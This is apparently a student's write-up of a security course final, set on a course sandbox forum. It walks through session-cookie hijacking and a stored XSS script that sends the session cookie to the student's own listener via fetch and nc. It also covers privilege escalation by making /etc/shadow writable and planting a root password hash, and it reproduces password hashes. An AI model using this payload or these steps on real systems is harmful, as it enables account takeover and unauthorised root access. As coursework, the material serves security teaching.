

## 1. Question 1

- a. I saw a session cookie with the value  
.eJwIzsENwzAIAMBd\_O4DMDZ2lokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpW  
jHX0ipKShtCa8GRAXKrQVQwzc9SUhUHuVE9yczIklahMBDO6UbPlkzS4cxsKaiu  
8goswJNswF1WDms0r-RRyj8krEnsvv8h9xfnYPI8AcUEL9M.ZzdwXw.GcOSwX5  
0yug2vSma5gsL6VIPsmw
- b. “a temporary text file that websites store on a user's device to maintain information about their activity during a single browsing session”. “Session cookies are used to remember user actions and preferences, such as login credentials or items in a shopping cart.” They have a set lifespan and are stored in ram, they help so that the server doesn't have to make repeat requests for things like logging in.
- c. It logged me into Alice's account
- d. Session cookie: timeline
  - i. User sends a get request to the login page of fdf


The image displays a network traffic capture tool interface. On the left, the 'Request' tab is active, showing a GET request to `/fdf/login` on `http://cs338.jeffondich.com`. The request includes headers such as `Host`, `Accept-Language`, `Upgrade-Insecure-Requests`, `User-Agent`, `Accept`, `Referer`, `Accept-Encoding`, `Cookie` (with value `theme=default`), and `Connection`. On the right, the 'Response' tab is active, showing an HTTP 200 OK response from the same server. The response includes headers like `Server`, `Date`, `Content-Type`, `Content-Length`, `Connection`, and `Vary`. The body of the response is HTML, starting with `<!DOCTYPE html>` and `<html lang="en">`, followed by a `<head>` section containing `<meta charset="utf-8">`, `<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">`, and a `<title>` element with the text 'Jeff's Sandbox'. A `<link rel="stylesheet" href="/fdf/static/css/bootstrap.min.css">` is also present.

- ii. Now that they're looking at the login page, they'll input their credentials and hit the login button, which sends a post request to the server containing their credentials.

The image displays a network traffic capture tool interface. On the left, the 'Request' tab is active, showing a POST request to `/fdf/login` on `http://cs338.jeffondich.com`. The request includes headers such as `Host`, `Content-Length`, `Cache-Control`, `Accept-Language`, `Upgrade-Insecure-Requests`, `Origin`, `Content-Type`, `User-Agent`, `Accept`, `Referer`, `Accept-Encoding`, `Cookie` (with value `theme=default`), and `Connection`. The body of the request is `email=alice%40example.com&password=alice`. On the right, the 'Response' tab is active, showing an HTTP 302 FOUND response from the same server. The response includes headers like `Server`, `Date`, `Content-Type`, `Content-Length`, `Connection`, `Location`, and `Vary`. The body of the response is HTML, starting with `<!doctype html>` and `<html lang=en>`, followed by a `<title>` element with the text 'Redirecting...' and a `<h1>` element with the text 'Redirecting...'. A `Set-Cookie` header is present with the value `session=.eJwIjjE0wzAMA_iuYMyZadzWSSJaFdk2Yq-ve6yEaQ00I-aY_Dz2fa3sflj7S_LG0pAwsSVh6qpczuHSx3cTilt4YsrRoBrCgGPMJEuaw-ag1mBxHNRoYg62Jqm4PmDFGcAIQIOVqAVuk81t692B9Ar4NG4ExLSDr9uG1K-v4A8CMwUO.Zzd0uA.Re5jWhpGH16ak1ZywINWzOAVL-c; Path=/`.

Once that's been sent, the server will verify their credentials, create a

- unique identifier for that login session and store it in the client's browser/RAM by sending it in the response in the set-cookie header.
- iii. From then on, all the requests sent by the client will contain a cookie header containing the unique identifier.



The server will receive the cookie, compare it to what it has in its session store or wherever they're keeping all that information, and go about which html/page to render based on what comes back. When that cookie comes back found, they'll render the page based on what correlates to Alice.

- e. With session cookies, I don't even have to worry about stealing actual credentials. I always know that there's gonna be a value within the requests that allow me to receive the same content as the user to which the cookie corresponds to. By getting that cookie, I can basically log in as the user.
2. Question 2
- a. Here is my FDF post as eve:

**Post by Eve**

**Title:** [anyaegbunamu] Final Problem 2


**Post:**

**Post source code**

```
<script> document.cookie.split(";").forEach(function(e) { let parts = e.split('='); let name = parts[0].trim(); if (name === 'session') { fetch('http://192.168.16.128:8080/?s=' + parts[1], {method:'get'}).catch(function(error) {}); } }); </script>
```

this JavaScript goes through the document containing all the cookies, finds the session one, grabs the session cookie value, and sends it back to my server via a fetch request and passing the cookie value to the s parameter.

- b. I set up Wireshark with TCP port 8080 as the filter, and then I also went into my terminal, ran the `sudo systemctl start apache2` to start up the server receiving the data and ran `nc -l -p 8080` so that I could see it there as well.
- c. This is how I received her cookie:



- d. Eve can now open up burpsuite, intercept the request and put Alice's cookie in there. She can even do it in chrome and just add it.
- e. Sequence of events:
  - i. Eve put some malicious JavaScript in her post on FDF.
  - ii. Eve boots up her server, opens up Wireshark with a TCP port filter to the port she has in her JavaScript, and she also starts an nc listening session on her specified port as well.
  - iii. An ambiguous and irrelevant amount of time passes and Alice logs into FDF
  - iv. Her session cookie is generated
  - v. Alice clicks on Eve's post
  - vi. The malicious JavaScript eve planted gets activated, does what I described in part a and sends the fetch request to eve's server containing the newly generated session cookie
  - vii. Eve receives the cookie, and opens FDF
  - viii. She edits the cookies and adds a session cookie containing Alice's
  - ix. She's now logged in as Alice on FDF
- f. "HTTP only" is a flag set on cookies that makes them more secure. This flag makes client-side scripts useless and doesn't allow them to interact with the cookies. This means that in my attack, I wouldn't have gotten anything back because my JavaScript never would have gone off or been activated. It never would have been able to go through the document containing the cookies.

### 3. Question 3

- a. These are the contents of etc/passwd:

```
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:105:108:Avahi mDNS daemon,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:106:29:Speech Dispatcher,,:/run/speech-dispatcher:/bin/false
usbmux:x:107:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
pulse:x:108:109:PulseAudio daemon,,:/run/pulse:/usr/sbin/nologin
lightdm:x:109:112:Light Display Manager:/var/lib/lightdm:/bin/false
saned:x:110:114::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:User for polkitd:/usr/sbin/nologin
rtkit:x:111:115:RealtimeKit,,:/proc:/usr/sbin/nologin
colord:x:112:116:colord colour management daemon,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:113:117:NetworkManager OpenVPN,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:114:118:NetworkManager OpenConnect plugin,,:/var/lib/NetworkManager:/usr/sbin/nologin
_galera:x:115:65534::/nonexistent:/usr/sbin/nologin
mysql:x:116:120:MariaDB Server,,:/nonexistent:/bin/false
stunnel4:x:990:990:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
_rpc:x:117:65534::/run/rpcbind:/usr/sbin/nologin
geoclue:x:118:121::/var/lib/geoclue:/usr/sbin/nologin
Debian-snmp:x:119:122::/var/lib/snmp:/bin/false
ssh:x:120:123::/nonexistent:/usr/sbin/nologin
ntpsec:x:121:126::/nonexistent:/usr/sbin/nologin
redsocks:x:122:127::/var/run/redsocks:/usr/sbin/nologin
_gophish:x:123:129::/var/lib/gophish:/usr/sbin/nologin
iodine:x:124:65534::/run/iodine:/usr/sbin/nologin

miredo:x:125:65534::/var/run/miredo:/usr/sbin/nologin
statd:x:126:65534::/var/lib/nfs:/usr/sbin/nologin
redis:x:127:130::/var/lib/redis:/usr/sbin/nologin
postgres:x:128:131:PostgreSQL administrator,,:/var/lib/postgresql:/bin/bash
mosquitto:x:129:132::/var/lib/mosquitto:/usr/sbin/nologin
inetsim:x:130:133::/var/lib/inetsim:/usr/sbin/nologin
_gvm:x:131:135::/var/lib/ovenvas:/usr/sbin/nologin
kali:x:1000:1000:,,:/home/kali:/usr/bin/zsh
ugo:x:1001:1001:Ugo Anyaegbunam,,:/home/ugo:/bin/bash
```

and these are the contents of etc/shadow:

```
root:*:19981:0:99999:7:::
daemon:*:19981:0:99999:7:::
bin:*:19981:0:99999:7:::
sys:*:19981:0:99999:7:::
sync:*:19981:0:99999:7:::
games:*:19981:0:99999:7:::
man:*:19981:0:99999:7:::
lp:*:19981:0:99999:7:::
mail:*:19981:0:99999:7:::
news:*:19981:0:99999:7:::
uucp:*:19981:0:99999:7:::
proxy:*:19981:0:99999:7:::
www-data:*:19981:0:99999:7:::
backup:*:19981:0:99999:7:::
list:*:19981:0:99999:7:::
irc:*:19981:0:99999:7:::
_apt:*:19981:0:99999:7:::
nobody:*:19981:0:99999:7:::
systemd-network:!:19981:::::::
systemd-timesync:!:19981:::::::
messagebus:!:19981:::::::
tss:!:19981:::::::
strongswan:!:19981:::::::
tcpdump:!:19981:::::::
sshd:!:19981:::::::
dnsmasq:!:19981:::::::
avahi:!:19981:::::::
speech-dispatcher:!:19981:::::::
usbmux:!:19981:::::::
pulse:!:19981:::::::
lightdm:!:19981:::::::
saned:!:19981:::::::
polkitd:!:19981:::::::
rtkit:!:19981:::::::
colord:!:19981:::::::
nm-openvpn:!:19981:::::::
nm-openconnect:!:19981:::::::
_galera:!:19981:::::::
mysql:!:19981:::::::
stunnel4:!:19981:::::::
_rpc:!:19981:::::::
geoclue:!:19981:::::::
Debian-snmpp:!:19981:::::::
sslh:!:19981:::::::
ntpsec:!:19981:::::::
redsocks:!:19981:::::::
_gophish:!:19981:::::::
iodine:!:19981:::::::
```

```
miredo:!:19981::::::
statd:!:19981::::::
redis:!:19981::::::
postgres:!:19981::::::
mosquitto:!:19981::::::
inetsim:!:19981::::::
_gvm:!:19981::::::
kali:$y$j9T$DpCpcw/B/8e06CLx25BTa.$6GvWFLttRxWvkGbsUtxGhPCu0G/0GYL3sn.GP1V.aZB:19981:0:99999:7:::
ugo:$y$j9T$W9o2VtVI2/V0YPkSRnJs41$9to3WjWjLNhEvm3NZunVXNyeXsmqKhSHXuEUcyInCe6:20040:0:99999:7:::
```

- b. "Sudo chmod a+w shadow" in the etc directory
- c. Steps to change password for root user account:
  - i. First I'll generate a password by running "mkpasswd -S '\$y\$j9T\$c4ctgJ3TPZVMz7jTOpngr.' root" where root is going to be the new password for the root user
  - ii. Now that the /etc/passwd file is writable from part b, I'm going to go in with the vim editor and replace the x, which tells the computer to find the hash in the shadow file, to the hash that was just generated.
- d. Now that kermit has changed the root password to root, he runs "su root", types the new password, and is let in.